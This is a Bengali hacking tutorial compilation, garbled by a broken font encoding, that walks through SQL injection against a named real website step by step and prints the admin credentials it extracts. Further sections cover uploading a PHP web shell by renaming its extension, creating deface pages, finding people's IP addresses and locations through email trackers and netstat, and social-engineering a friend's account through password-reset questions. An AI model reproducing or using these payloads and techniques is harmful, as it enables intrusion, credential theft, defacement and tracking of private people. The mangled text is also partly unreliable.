তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ
ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23
নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ
সকান চছযফাআচছটয অআকত সফয কযায কতনযভ
মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন
হচছয ফযাখযা
মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom
তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন
কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয
াধাযন বর-ধাযনা
চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন
মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route
এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন
wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না
কতরচছখচছছনঃ সভচছকতদ াান
আচছভআর দাতায অআকত ননধান
অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ
অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন
victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয
ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ
httpwwwdidtheyreaditcom
httpwwwpointofmailcom
ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন
অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা
অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger
MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
